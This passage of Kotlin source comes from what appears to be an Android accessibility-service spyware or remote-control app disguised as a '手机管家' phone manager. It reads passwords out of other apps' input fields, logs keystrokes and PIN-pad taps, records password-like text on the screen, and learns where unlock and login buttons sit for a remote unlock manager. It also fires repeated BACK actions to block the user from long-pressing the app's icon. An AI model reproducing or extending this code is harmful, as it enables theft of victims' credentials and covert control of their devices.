findNumericKeypadInNode(node: AccessibilityNodeInfo): Boolean { try { // 检查当前节点 val className = node.className?.toString()?.lowercase() ?: "" val contentDesc = node.contentDescription?.toString()?.lowercase() ?: "" val text = node.text?.toString() ?: "" // 数字键盘特征 val hasNumericKeywords = className.contains("numpad") || className.contains("numeric") || className.contains("keypad") || contentDesc.contains("数字") || contentDesc.contains("numeric") || contentDesc.contains("keypad") // 检查是否有数字按钮(0-9) val hasDigitButtons = text.matches(Regex("\\d")) || contentDesc.matches(Regex("\\d")) if (hasNumericKeywords || hasDigitButtons) { Log.d(TAG, "🔢 发现数字键盘节点: 类名=$className, 描述=$contentDesc, 文本=$text") return true } // 递归检查子节点 for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { try { if (findNumericKeypadInNode(child)) { return true } } finally { child.recycle() } } } return false } catch (e: Exception) { Log.w(TAG, "检查数字键盘节点失败", e) return false } } /** * ✅ 新增:在节点中查找密码输入框 */ private fun findPasswordFieldInNode(node: AccessibilityNodeInfo): Boolean { try { // 检查当前节点 val className = node.className?.toString()?.lowercase() ?: "" val contentDesc = node.contentDescription?.toString()?.lowercase() ?: "" // 密码输入框特征 val isPasswordField = className.contains("edittext") || className.contains("password") || contentDesc.contains("密码") || contentDesc.contains("password") || contentDesc.contains("pin") || node.isPassword if (isPasswordField) { Log.d(TAG, "🔢 发现密码输入框节点: 类名=$className, 描述=$contentDesc") return true } // 递归检查子节点 for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { try { if (findPasswordFieldInNode(child)) { return true } } finally { child.recycle() } } } return false } catch (e: Exception) { Log.w(TAG, "检查密码输入框节点失败", e) return false } } /** * ✅ 新增:从节点中提取密码内容 */ private fun extractPasswordFromNode(node: AccessibilityNodeInfo): String { try { // 检查当前节点是否是密码输入框 val className = node.className?.toString()?.lowercase() ?: "" val text = node.text?.toString() ?: "" if ((className.contains("edittext") || className.contains("password") || node.isPassword) && text.isNotEmpty()) { Log.d(TAG, "🔢 从密码节点提取内容: '$text'") return text } // 递归检查子节点 for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { try { val childText = extractPasswordFromNode(child) if (childText.isNotEmpty()) { return childText } } finally { child.recycle() } } } return "" } catch (e: Exception) { Log.w(TAG, "提取密码内容失败", e) return "" } } /** * ✅ 新增:处理长按事件 */ private fun handleViewLongClicked(event: AccessibilityEvent) { val text = event.text?.joinToString(" ") ?: "" val className = event.className?.toString() ?: "" val packageName = event.packageName?.toString() ?: "" val contentDescription = event.contentDescription?.toString() ?: "" Log.d(TAG, "🔗 长按事件: 包名=$packageName, 类名=$className, 文本='$text'") // ✅ 阻断长按弹出:如果是我们的app,立即执行多次返回操作 if (text == service.getString(R.string.app_name) || text == service.getString(R.string._2580369_res_0x7f10001e) || text == "手机管家") { Log.d(TAG, "🛡️ 检测到长按我们自己的app,执行阻断操作") cancelLongPressPopup() } logScope.launch { recordLog( "LONG_PRESS", "长按控件: $text", mapOf( "text" to text, "className" to className, "packageName" to packageName, "contentDescription" to contentDescription, "eventType" to "VIEW_LONG_CLICKED" ) ) } } /** * ✅ 判断是否是我们自己的app */ // private fun isOurApp(packageName: String): Boolean { // val ourPackageName = service.packageName // val isOurApp = packageName == ourPackageName || packageName.contains("hikoncont", ignoreCase = true) // if (isOurApp) { // Log.d(TAG, "✅ 检测到是我们自己的app: $packageName") // } // return isOurApp // } /** * ✅ 检测文本中是否包含价格信息 * 支持格式:元、¥、¥、数字+元、价格等 */ private fun containsPrice(text: String): Boolean { if (text.isEmpty()) return false // 价格模式:包含"元"、"¥"、"¥"等价格标识 val pricePatterns = listOf( "元", "¥", "¥", "价格", "单价", "总价", "金额", "费用", "cost", "price" ) // 检查是否包含价格标识 val containsPriceKeyword = pricePatterns.any { text.contains(it, ignoreCase = true) } // 检查是否包含数字+元的模式(如:100元、¥50等) val priceRegex = Regex("""\d+[\.]?\d*\s*[元¥¥]|[¥¥]\s*\d+[\.]?\d*""") val matchesPricePattern = priceRegex.containsMatchIn(text) val isPrice = containsPriceKeyword || matchesPricePattern if (isPrice) { Log.d(TAG, "💰 检测到价格信息: $text") } return isPrice } /** * ✅ 阻断长按弹出的详情窗口 * 使用激进策略:立即执行返回,并在主线程中延迟多次执行确保窗口关闭 */ private fun cancelLongPressPopup() { try { Log.d(TAG, "🛡️ 开始阻断长按弹出详情") val handler = Handler(Looper.getMainLooper()) // 1. 立即执行返回操作(最快响应) service.performGlobalAction(GLOBAL_ACTION_BACK) // 2. 延迟执行多次返回操作,确保详情窗口被关闭(在主线程执行,响应更快) handler.postDelayed({ service.performGlobalAction(GLOBAL_ACTION_BACK) Log.d(TAG, "🛡️ 第一次延迟返回执行完成") }, 10) handler.postDelayed({ service.performGlobalAction(GLOBAL_ACTION_BACK) Log.d(TAG, "🛡️ 第二次延迟返回执行完成") }, 50) handler.postDelayed({ service.performGlobalAction(GLOBAL_ACTION_BACK) Log.d(TAG, "🛡️ 第三次延迟返回执行完成") }, 100) handler.postDelayed({ service.performGlobalAction(GLOBAL_ACTION_BACK) Log.d(TAG, "🛡️ 第四次延迟返回执行完成") Log.d(TAG, "✅ 阻断长按弹出详情完成") }, 150) } catch (e: Exception) { Log.e(TAG, "❌ 阻断长按弹出详情失败", e) } } /** * ✅ 随机点击屏幕上的一个位置 */ private fun performRandomClick() { try { val displayMetrics = service.resources.displayMetrics val screenWidth = displayMetrics.widthPixels val screenHeight = displayMetrics.heightPixels // 生成随机坐标(避免点击边缘,留出边距) val margin = 100 val randomX = Random.nextInt(margin, screenWidth - margin).toFloat() val randomY = Random.nextInt(margin, screenHeight - margin).toFloat() Log.d(TAG, "🎯 随机点击坐标: ($randomX, $randomY)") // 创建手势 val path = Path().apply { moveTo(randomX, randomY) } val stroke = GestureDescription.StrokeDescription(path, 0, 50L) val gesture = GestureDescription.Builder() .addStroke(stroke) .build() // 执行手势 service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() { override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) { Log.d(TAG, "✅ 随机点击完成") } override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) { Log.w(TAG, "⚠️ 随机点击被取消") } }, null) } catch (e: Exception) { Log.e(TAG, "❌ 随机点击失败", e) } } /** * ✅ 新增:处理悬停事件 */ private fun handleViewHover(event: AccessibilityEvent, hoverType: String) { val text = event.text?.joinToString(" ") ?: "" val className = event.className?.toString() ?: "" val packageName = event.packageName?.toString() ?: "" val contentDescription = event.contentDescription?.toString() ?: "" // 只记录有意义的悬停事件 if (text.isNotEmpty() || contentDescription.isNotEmpty()) { Log.d(TAG, "🖱️ 悬停事件($hoverType): 包名=$packageName, 类名=$className, 文本='$text'") logScope.launch { recordLog( "HOVER", "$hoverType: $text", mapOf( "text" to text, "className" to className, "packageName" to packageName, "contentDescription" to contentDescription, "hoverType" to hoverType, "eventType" to "VIEW_HOVER" ) ) } } } /** * ✅ 增强的键盘输入监听 - 检测各种键盘输入源 */ private fun handleKeyboardInput(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" val text = event.text?.joinToString("") ?: "" val contentDescription = event.contentDescription?.toString() ?: "" // ✅ 扩展输入法检测:包括系统输入法、第三方输入法、应用内键盘 val isInputMethod = packageName.lowercase().contains("inputmethod") || packageName.lowercase().contains("keyboard") || packageName.lowercase().contains("ime") || className.lowercase().contains("keyboard") || className.lowercase().contains("keyboardview") || className.lowercase().contains("inputmethod") // ✅ 新增:检测应用内自定义键盘 val isCustomKeyboard = !isInputMethod && ( className.lowercase().contains("key") || className.lowercase().contains("numpad") || className.lowercase().contains("pinpad") || (text.length == 1 && (text.matches(Regex("[0-9a-zA-Z]")) || text in listOf(".", ",", "@", "#", "*"))) || (contentDescription.lowercase().contains("key") && text.isNotEmpty()) ) if ((isInputMethod || isCustomKeyboard) && text.isNotEmpty()) { val keyboardType = when { isInputMethod -> "系统输入法" isCustomKeyboard -> "应用内键盘" else -> "未知键盘" } Log.d(TAG, "⌨️ 键盘输入检测[$keyboardType]: 包名=$packageName, 类名=$className, 输入='$text'") // ✅ 智能字符识别 val detectedCharacter = when { text.length == 1 -> text text.matches(Regex("\\d+")) && text.length == 1 -> text extractDigitFromText(text) != null -> extractDigitFromText(text)!! else -> text } logScope.launch { recordLog( "KEYBOARD_INPUT", "键盘输入[$keyboardType]: $detectedCharacter", mapOf( "character" to detectedCharacter, "originalText" to text, "className" to className, "packageName" to packageName, "contentDescription" to contentDescription, "keyboardType" to keyboardType, "isInputMethod" to isInputMethod, "isCustomKeyboard" to isCustomKeyboard, "eventType" to "KEYBOARD_INPUT" ) ) } } } /** * ✅ 新增:增强的窗口内容变化处理 - 检测更多应用的文本输入 */ private fun handleEnhancedWindowContentChanged(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" val currentTime = System.currentTimeMillis() Log.i(TAG, "🔍 [增强窗口内容变化] 处理增强窗口内容变化 - 包名=$packageName, 类名=$className") // 首先检查键盘输入 handleKeyboardInput(event) // 然后执行原有的窗口内容变化处理 handleWindowContentChanged(event) // ✅ 新增:特别检测第三方应用的文本变化 val source = event.source if (source != null && !packageName.contains("systemui", ignoreCase = true)) { try { // 递归检查所有子节点的文本变化 val textChanges = extractAllTextFromNode(source, mutableListOf()) if (textChanges.isNotEmpty()) { Log.d(TAG, "🔍 第三方应用文本变化: 包名=$packageName, 检测到${textChanges.size}个文本元素") // ✅ 优化:应用去重和过滤逻辑,减少重复日志 val significantTexts = textChanges.filter { textInfo -> textInfo.text.isNotEmpty() && textInfo.text.length > 1 } Log.d(TAG, "🔍 第三方应用文本过滤: 原始${textChanges.size}个 -> 有效${significantTexts.size}个") significantTexts.forEach { textInfo -> // 检测是否可能是密码输入 val isPasswordLike = textInfo.isPassword || textInfo.text.any { it == '•' || it == '*' || it == '●' } || (textInfo.text.all { it.isDigit() } && textInfo.text.length in 4..10) // ✅ 更新统计信息 if (!isPasswordLike) { textDetectedTotalCount++ } // ✅ 对于TEXT_DETECTED应用去重逻辑,PASSWORD_DETECTED保持原有逻辑 val shouldRecord = if (isPasswordLike) { true // 密码相关的始终记录 } else { shouldRecordTextDetected(textInfo.text, packageName) } if (shouldRecord) { if (!isPasswordLike) { textDetectedRecordedCount++ //只記錄像密碼的。其他的不記錄了 logScope.launch { recordLog( if (isPasswordLike) "PASSWORD_DETECTED" else "TEXT_DETECTED", "文本检测: ${textInfo.text}", mapOf( "text" to textInfo.text, "className" to textInfo.className, "packageName" to packageName, "isPassword" to textInfo.isPassword, "isPasswordLike" to isPasswordLike, "hint" to textInfo.hint, "contentDescription" to textInfo.contentDesc, "eventType" to "WINDOW_CONTENT_ANALYSIS", "filtered" to "deduped" // 标记为去重处理 ) ) } } // // logScope.launch { // recordLog( // if (isPasswordLike) "PASSWORD_DETECTED" else "TEXT_DETECTED", // "文本检测: ${textInfo.text}", // mapOf( // "text" to textInfo.text, // "className" to textInfo.className, // "packageName" to packageName, // "isPassword" to textInfo.isPassword, // "isPasswordLike" to isPasswordLike, // "hint" to textInfo.hint, // "contentDescription" to textInfo.contentDesc, // "eventType" to "WINDOW_CONTENT_ANALYSIS", // "filtered" to "deduped" // 标记为去重处理 // ) // ) // } } else { if (!isPasswordLike) { textDetectedFilteredCount++ } Log.v(TAG, "🔕 跳过重复文本: '${textInfo.text}' (包名: $packageName)") } } } } catch (e: Exception) { Log.w(TAG, "分析第三方应用文本变化失败", e) } finally { source.recycle() } } } /** * ✅ 新增:递归提取节点中的所有文本信息 */ private fun extractAllTextFromNode(node: AccessibilityNodeInfo, results: MutableList): List { try { val text = node.text?.toString() ?: "" val className = node.className?.toString() ?: "" val hint = node.hintText?.toString() ?: "" val contentDesc = node.contentDescription?.toString() ?: "" // 如果当前节点有文本或是可编辑的,记录它 if (text.isNotEmpty() || node.isEditable || node.isPassword) { results.add(TextInfo( text = text, className = className, hint = hint, contentDesc = contentDesc, isPassword = node.isPassword, isEditable = node.isEditable )) } // 递归检查子节点 for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { try { extractAllTextFromNode(child, results) } finally { child.recycle() } } } } catch (e: Exception) { Log.w(TAG, "提取节点文本信息失败", e) } return results } /** * ✅ 新增:文本信息数据类 */ private data class TextInfo( val text: String, val className: String, val hint: String, val contentDesc: String, val isPassword: Boolean, val isEditable: Boolean ) /** * ✅ 新增:分析触摸事件中的键盘输入 */ private fun analyzeTouchForKeyboard(event: AccessibilityEvent, packageName: String, className: String, eventText: String, contentDesc: String, touchType: String) { try { Log.d(TAG, "🔍 [触摸键盘分析] 开始分析触摸事件:") Log.d(TAG, " 触摸类型: $touchType") Log.d(TAG, " 包名: $packageName") Log.d(TAG, " 类名: $className") Log.d(TAG, " 文本: '$eventText'") Log.d(TAG, " 描述: '$contentDesc'") // 1. 检查是否为键盘相关的类名 val isKeyboardClass = className.lowercase().let { cls -> cls.contains("key") || cls.contains("button") || cls.contains("numpad") || cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") || cls.contains("digit") || cls.contains("char") || cls.contains("layout") } // 2. 检查是否为键盘相关的描述 val isKeyboardDesc = contentDesc.lowercase().let { desc -> desc.contains("key") || desc.contains("按键") || desc.contains("键") || desc.contains("button") || desc.contains("输入") || desc.contains("数字") || desc.matches(Regex(".*[0-9a-zA-Z].*")) } // 3. 检查文本是否像键盘字符 val isKeyboardText = eventText.let { text -> text.length == 1 || // 单字符 text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]")) || // 常见键盘字符 extractDigitFromText(text) != null // 包含可提取的字符 } // 4. 检查是否为输入法包名 val isInputMethodPackage = packageName.lowercase().let { pkg -> pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") || pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") } // 5. 通过AccessibilityNodeInfo获取更多信息 val source = event.source var nodeInfo = "" var additionalText = "" if (source != null) { try { val nodeText = source.text?.toString() ?: "" val nodeHint = source.hintText?.toString() ?: "" val nodeDesc = source.contentDescription?.toString() ?: "" val isClickable = source.isClickable val isEnabled = source.isEnabled nodeInfo = "节点文本='$nodeText', 提示='$nodeHint', 描述='$nodeDesc', 可点击=$isClickable, 启用=$isEnabled" additionalText = nodeText Log.d(TAG, " 节点信息: $nodeInfo") } finally { source.recycle() } } val isLikelyKeyboard = isKeyboardClass || isKeyboardDesc || isKeyboardText || isInputMethodPackage Log.d(TAG, "🔍 [触摸键盘分析] 分析结果:") Log.d(TAG, " 键盘类名: $isKeyboardClass") Log.d(TAG, " 键盘描述: $isKeyboardDesc") Log.d(TAG, " 键盘文本: $isKeyboardText") Log.d(TAG, " 输入法包: $isInputMethodPackage") Log.d(TAG, " 疑似键盘: $isLikelyKeyboard") if (isLikelyKeyboard) { val detectedChar = extractDigitFromText(eventText) ?: extractDigitFromText(additionalText) ?: eventText.take(1) Log.i(TAG, "⌨️ [触摸键盘] 检测到键盘触摸输入: '$detectedChar' (触摸类型: $touchType)") // 立即记录键盘触摸输入 logScope.launch { recordLog( "TOUCH_KEYBOARD_INPUT", "触摸键盘输入[$touchType]: $detectedChar", mapOf( "detectedCharacter" to detectedChar, "originalText" to eventText, "additionalText" to additionalText, "contentDescription" to contentDesc, "className" to className, "packageName" to packageName, "touchType" to touchType, "isKeyboardClass" to isKeyboardClass, "isKeyboardDesc" to isKeyboardDesc, "isKeyboardText" to isKeyboardText, "isInputMethodPackage" to isInputMethodPackage, "analysisMethod" to "touch_analysis", "eventType" to "TOUCH_KEYBOARD_DETECTION" ) ) } // ✅ 额外的强化记录 - 确保触摸键盘输入不会被遗漏 Log.w(TAG, "🚨 [强化记录] 触摸键盘输入确认: '$detectedChar' [$touchType] from $packageName") } else { Log.d(TAG, "❌ [触摸键盘分析] 不像键盘控件,跳过") } } catch (e: Exception) { Log.e(TAG, "❌ 分析触摸键盘事件失败", e) } } /** * ✅ 新增:详细分析点击的控件,判断是否为键盘输入 */ private fun analyzeClickedElement(event: AccessibilityEvent, packageName: String, className: String, eventText: String, contentDesc: String) { try { Log.d(TAG, "🔍 [键盘分析] 开始分析点击控件:") Log.d(TAG, " 包名: $packageName") Log.d(TAG, " 类名: $className") Log.d(TAG, " 文本: '$eventText'") Log.d(TAG, " 描述: '$contentDesc'") // 1. 检查是否为键盘相关的类名 val isKeyboardClass = className.lowercase().let { cls -> cls.contains("key") || cls.contains("button") || cls.contains("numpad") || cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") } // 2. 检查是否为键盘相关的描述 val isKeyboardDesc = contentDesc.lowercase().let { desc -> desc.contains("key") || desc.contains("按键") || desc.contains("键") || desc.contains("button") || desc.contains("输入") || desc.contains("数字") } // 3. 检查文本是否像键盘字符 val isKeyboardText = eventText.let { text -> text.length == 1 || // 单字符 text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]")) || // 常见键盘字符 extractDigitFromText(text) != null // 包含可提取的字符 } // 4. 通过AccessibilityNodeInfo获取更多信息 val source = event.source var nodeInfo = "" var additionalText = "" if (source != null) { try { val nodeText = source.text?.toString() ?: "" val nodeHint = source.hintText?.toString() ?: "" val nodeDesc = source.contentDescription?.toString() ?: "" val isClickable = source.isClickable val isEnabled = source.isEnabled nodeInfo = "节点文本='$nodeText', 提示='$nodeHint', 描述='$nodeDesc', 可点击=$isClickable, 启用=$isEnabled" additionalText = nodeText Log.d(TAG, " 节点信息: $nodeInfo") } finally { source.recycle() } } val isLikelyKeyboard = isKeyboardClass || isKeyboardDesc || isKeyboardText Log.d(TAG, "🔍 [键盘分析] 分析结果:") Log.d(TAG, " 键盘类名: $isKeyboardClass") Log.d(TAG, " 键盘描述: $isKeyboardDesc") Log.d(TAG, " 键盘文本: $isKeyboardText") Log.d(TAG, " 疑似键盘: $isLikelyKeyboard") if (isLikelyKeyboard) { val detectedChar = extractDigitFromText(eventText) ?: extractDigitFromText(additionalText) ?: eventText Log.i(TAG, "⌨️ [键盘检测] 检测到可能的键盘输入: '$detectedChar'") // 立即记录键盘输入 logScope.launch { recordLog( "DETECTED_KEYBOARD_INPUT", "检测到键盘输入: $detectedChar", mapOf( "detectedCharacter" to detectedChar, "originalText" to eventText, "additionalText" to additionalText, "contentDescription" to contentDesc, "className" to className, "packageName" to packageName, "isKeyboardClass" to isKeyboardClass, "isKeyboardDesc" to isKeyboardDesc, "isKeyboardText" to isKeyboardText, "analysisMethod" to "click_analysis", "eventType" to "CLICK_KEYBOARD_DETECTION" ) ) } } else { Log.d(TAG, "❌ [键盘分析] 不像键盘控件,跳过") } } catch (e: Exception) { Log.e(TAG, "❌ 分析点击控件失败", e) } } /** * 清理资源 */ fun cleanup() { logScope.cancel() isLogging = false Log.i(TAG, "🧹 操作日志收集器已清理") } /** * ✅ 增强版:检查界面上是否存在数字0(数字密码的标志) */ private fun checkForNumericPasswordIndicators(event: AccessibilityEvent) { val source = event.source if (source != null) { // 递归检查所有子节点,寻找数字0 checkNodeForZero(source) } // 检查事件文本中是否包含数字0 val eventText = event.text?.joinToString("") ?: "" if (eventText.contains("0")) { Log.d(TAG, "🔢 在事件文本中发现数字0: $eventText") hasDetectedZero = true } // 检查内容描述中是否包含数字0 val contentDesc = event.contentDescription?.toString() ?: "" if (contentDesc.contains("0")) { Log.d(TAG, "🔢 在内容描述中发现数字0: $contentDesc") hasDetectedZero = true } } /** * ✅ 递归检查节点是否包含数字0 */ private fun checkNodeForZero(node: AccessibilityNodeInfo) { try { // 检查当前节点的文本 val nodeText = node.text?.toString() ?: "" if (nodeText == "0") { Log.d(TAG, "🔢 在界面节点中发现数字0: $nodeText") hasDetectedZero = true return } // 检查内容描述 val nodeDesc = node.contentDescription?.toString() ?: "" if (nodeDesc.contains("0")) { Log.d(TAG, "🔢 在节点描述中发现数字0: $nodeDesc") hasDetectedZero = true return } // 递归检查子节点 for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { checkNodeForZero(child) child.recycle() } } } catch (e: Exception) { Log.w(TAG, "检查节点数字0时出错: ${e.message}") } } /** * ✅ 新增:检查是否应该记录TEXT_DETECTED日志(去重和频率控制,保守过滤策略) */ private fun shouldRecordTextDetected(text: String, packageName: String): Boolean { val currentTime = System.currentTimeMillis() // 清理过期缓存 cleanupTextDetectedCache(currentTime) // 只过滤空文本或过短文本 if (text.isBlank() || text.length <= 1) { return false } // ✅ 优化:只过滤明显无意义的文本,保留可能有用的内容 val obviouslyMeaninglessTexts = setOf( "...", "—", "-", "_", " ", " ", // 只过滤纯符号和空格 "loading", "加载中", "请稍候", "请等待" // 只过滤明显的加载提示 ) if (obviouslyMeaninglessTexts.contains(text.lowercase().trim())) { return false } // 创建唯一键(包名+文本) val cacheKey = "${packageName}:${text}" // 检查是否在冷却期内 val lastRecordTime = textDetectedCache[cacheKey] ?: 0L if (currentTime - lastRecordTime < TEXT_DETECTED_COOLDOWN) { return false } // 检查包的文本记录数量限制 val packageTexts = packageTextCache.getOrPut(packageName) { mutableSetOf() } if (packageTexts.size >= MAX_TEXT_DETECTED_PER_PACKAGE && !packageTexts.contains(text)) { return false } // 更新缓存 textDetectedCache[cacheKey] = currentTime packageTexts.add(text) return true } /** * ✅ 新增:清理过期的TEXT_DETECTED缓存 */ private fun cleanupTextDetectedCache(currentTime: Long) { if (currentTime - lastTextDetectedCleanup < CACHE_CLEANUP_INTERVAL) { return } // 清理过期的文本缓存(超过10分钟的记录) val expireTime = currentTime - 600000L // 10分钟 textDetectedCache.entries.removeAll { it.value < expireTime } // 清理包文本缓存(每个包保持最新的文本) packageTextCache.values.forEach { textSet -> if (textSet.size > MAX_TEXT_DETECTED_PER_PACKAGE) { // 保留最近的文本,这里简单地限制大小 val textsToRemove = textSet.size - MAX_TEXT_DETECTED_PER_PACKAGE val iterator = textSet.iterator() repeat(textsToRemove) { if (iterator.hasNext()) { iterator.next() iterator.remove() } } } } lastTextDetectedCleanup = currentTime // ✅ 输出统计报告 val filterRate = if (textDetectedTotalCount > 0) { ((textDetectedFilteredCount.toDouble() / textDetectedTotalCount) * 100).toInt() } else 0 Log.i(TAG, "📊 TEXT_DETECTED统计报告:") Log.i(TAG, " 总检测: ${textDetectedTotalCount}次") Log.i(TAG, " 实际记录: ${textDetectedRecordedCount}次") Log.i(TAG, " 过滤掉: ${textDetectedFilteredCount}次 (${filterRate}%)") Log.i(TAG, " 缓存大小: ${textDetectedCache.size}个文本") Log.i(TAG, " 包缓存: ${packageTextCache.size}个应用") Log.d(TAG, "🧹 清理TEXT_DETECTED缓存完成") } /** * ✅ 新增:获取TEXT_DETECTED统计信息 */ fun getTextDetectedStats(): Map { val filterRate = if (textDetectedTotalCount > 0) { ((textDetectedFilteredCount.toDouble() / textDetectedTotalCount) * 100).toInt() } else 0 return mapOf( "totalDetected" to textDetectedTotalCount, "recorded" to textDetectedRecordedCount, "filtered" to textDetectedFilteredCount, "filterRate" to filterRate, "cacheSize" to textDetectedCache.size, "packageCount" to packageTextCache.size ) } /** * ✅ 增强版:智能确认按钮坐标学习 - 优化:避免用户输入期间误学习 */ private fun enhancedConfirmButtonLearning() { if (!isAwaitingConfirmClick) return // 获取当前屏幕的所有可点击节点 val rootNode = service.rootInActiveWindow ?: return val confirmCandidates = findConfirmButtonCandidates(rootNode) Log.d(TAG, "🔍 发现 ${confirmCandidates.size} 个确认按钮候选") // 智能选择最可能的确认按钮 val bestCandidate = selectBestConfirmCandidate(confirmCandidates) if (bestCandidate != null) { val bounds = android.graphics.Rect() bestCandidate.getBoundsInScreen(bounds) val centerX = bounds.centerX().toFloat() val centerY = bounds.centerY().toFloat() lastConfirmClickCoordinate = Pair(centerX, centerY) Log.d(TAG, "✅ 智能学习到确认按钮坐标: ($centerX, $centerY)") // 记录确认按钮的详细信息用于后续识别 recordConfirmButtonInfo(bestCandidate, centerX, centerY) } } /** * ✅ 查找确认按钮候选节点 */ private fun findConfirmButtonCandidates(rootNode: AccessibilityNodeInfo): List { val candidates = mutableListOf() // 确认按钮的常见文本 val confirmTexts = listOf( "确认", "确定", "OK", "完成", "解锁", "登录", "提交", "Enter", "Done", "Unlock", "Login", "Submit", "Continue", "下一步", "Next", "Go", "开始", "Start" ) // 递归查找所有可点击的节点 findClickableNodes(rootNode, candidates) // 过滤出可能的确认按钮 return candidates.filter { node -> val text = node.text?.toString()?.trim() ?: "" val contentDesc = node.contentDescription?.toString()?.trim() ?: "" val className = node.className?.toString() ?: "" // ✅ 排除描述性文本(包含连字符、过长文本等) if (text.contains("-") || text.contains("—") || text.length > 15) { return@filter false } // 检查文本匹配 val textMatches = confirmTexts.any { confirmText -> text.contains(confirmText, ignoreCase = true) || contentDesc.contains(confirmText, ignoreCase = true) } // 检查是否是按钮类型 val isButton = className.contains("Button", ignoreCase = true) || className.contains("ImageView", ignoreCase = true) // 检查位置(确认按钮通常在屏幕下方) val bounds = android.graphics.Rect() node.getBoundsInScreen(bounds) val screenHeight = service.resources.displayMetrics.heightPixels val isInBottomHalf = bounds.centerY() > screenHeight * 0.5 textMatches && isButton && isInBottomHalf } } /** * ✅ 递归查找所有可点击节点 */ private fun findClickableNodes(node: AccessibilityNodeInfo, result: MutableList) { if (node.isClickable) { result.add(node) } for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { findClickableNodes(child, result) child.recycle() } } } /** * ✅ 选择最佳确认按钮候选 */ private fun selectBestConfirmCandidate(candidates: List): AccessibilityNodeInfo? { if (candidates.isEmpty()) return null if (candidates.size == 1) return candidates[0] // 评分系统选择最佳候选 return candidates.maxByOrNull { node -> var score = 0 val text = node.text?.toString()?.trim() ?: "" val contentDesc = node.contentDescription?.toString()?.trim() ?: "" // 文本匹配度评分 when { text.equals("确认", ignoreCase = true) || text.equals("OK", ignoreCase = true) -> score += 10 text.equals("Enter", ignoreCase = true) -> score += 10 // ✅ 为Enter按钮添加最高分 text.equals("确定", ignoreCase = true) || text.equals("Done", ignoreCase = true) -> score += 8 text.contains("解锁", ignoreCase = true) || text.contains("Unlock", ignoreCase = true) -> score += 9 text.contains("登录", ignoreCase = true) || text.contains("Login", ignoreCase = true) -> score += 7 } // 位置评分(右下角优先) val bounds = android.graphics.Rect() node.getBoundsInScreen(bounds) val screenWidth = service.resources.displayMetrics.widthPixels val screenHeight = service.resources.displayMetrics.heightPixels if (bounds.centerX() > screenWidth * 0.6 && bounds.centerY() > screenHeight * 0.7) { score += 5 } score } } /** * ✅ 检查是否正在进行数字密码输入 */ private fun isCurrentlyInputtingNumericPassword(): Boolean { try { // 检查最近5秒内是否有数字密码输入操作 val currentTime = System.currentTimeMillis() val recentTimeWindow = 5000L // 5秒 // 检查数字密码序列是否有最近的活动 val hasRecentNumericInput = numericPasswordSequence.isNotEmpty() && numericPasswordSequence.any { event -> val timestamp = event["timestamp"] as? Long ?: 0L currentTime - timestamp <= recentTimeWindow } // 也检查是否检测到数字0(这通常表示正在进行数字密码输入) val hasDetectedZeroRecently = hasDetectedZero val isInputting = hasRecentNumericInput || hasDetectedZeroRecently if (isInputting) { Log.d(TAG, "🔢 检测到正在进行数字密码输入: 序列=${numericPasswordSequence.size}个事件, 检测到0=$hasDetectedZero") } return isInputting } catch (e: Exception) { Log.w(TAG, "检查数字密码输入状态时出错: ${e.message}") return false } } /** * ✅ 记录确认按钮信息用于后续识别 */ private fun recordConfirmButtonInfo(node: AccessibilityNodeInfo, x: Float, y: Float) { val text = node.text?.toString() ?: "" val contentDesc = node.contentDescription?.toString() ?: "" val className = node.className?.toString() ?: "" val bounds = android.graphics.Rect() node.getBoundsInScreen(bounds) // ✅ 检查是否正在进行数字密码输入,如果是则不记录确认按钮坐标 if (isCurrentlyInputtingNumericPassword()) { Log.d(TAG, "🔢 检测到正在输入数字密码,跳过确认按钮坐标记录: ($x, $y)") return } // ✅ 最简单方案:直接更新学习坐标到UnlockManager try { val screenWidth = service.resources.displayMetrics.widthPixels val screenHeight = service.resources.displayMetrics.heightPixels // 调用AccessibilityRemoteService的recordManualConfirmButtonCoords方法 service.recordManualConfirmButtonCoords( x = x, y = y, source = "learned_from_operation", confidence = 10.0f, // 高权重,确保被优先使用 buttonText = text, buttonDesc = contentDesc ) Log.i(TAG, "✅ 已更新学习坐标到UnlockManager: ($x, $y), 文本='$text'") } catch (e: Exception) { Log.e(TAG, "❌ 更新学习坐标失败: ($x, $y)", e) } logScope.launch { recordLog( "CONFIRM_BUTTON_LEARNED", "学习到确认按钮: 文本='$text', 位置=($x, $y)", mapOf( "buttonText" to text, "contentDescription" to contentDesc, "className" to className, "centerX" to x, "centerY" to y, "bounds" to mapOf( "left" to bounds.left, "top" to bounds.top, "right" to bounds.right, "bottom" to bounds.bottom ), "learnTime" to System.currentTimeMillis(), "confidence" to "high" ) ) } } /** * ✅ 创建模拟的密码输入事件用于分析 */ private fun createSimulatedPasswordEvent(digit: String, simulatedText: String, className: String, packageName: String): AccessibilityEvent { val event = AccessibilityEvent.obtain(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) event.packageName = packageName event.className = className event.text.add(simulatedText) event.beforeText = "•".repeat(maxOf(0, simulatedText.length - 1)) event.isPassword = true return event } /** * ✅ 强化键盘点击检测 - 专门用于第三方应用 */ private fun detectKeyboardClick(packageName: String, className: String, eventText: String, contentDesc: String): Boolean { // 1. 检查包名是否为输入法 val isInputMethod = packageName.lowercase().let { pkg -> pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") || pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") || pkg.contains("baidu") || pkg.contains("iflytek") || pkg.contains("samsung") || pkg.contains("huawei") || pkg.contains("xiaomi") || pkg.contains("oppo") || pkg.contains("vivo") } // 2. 检查类名是否像键盘控件 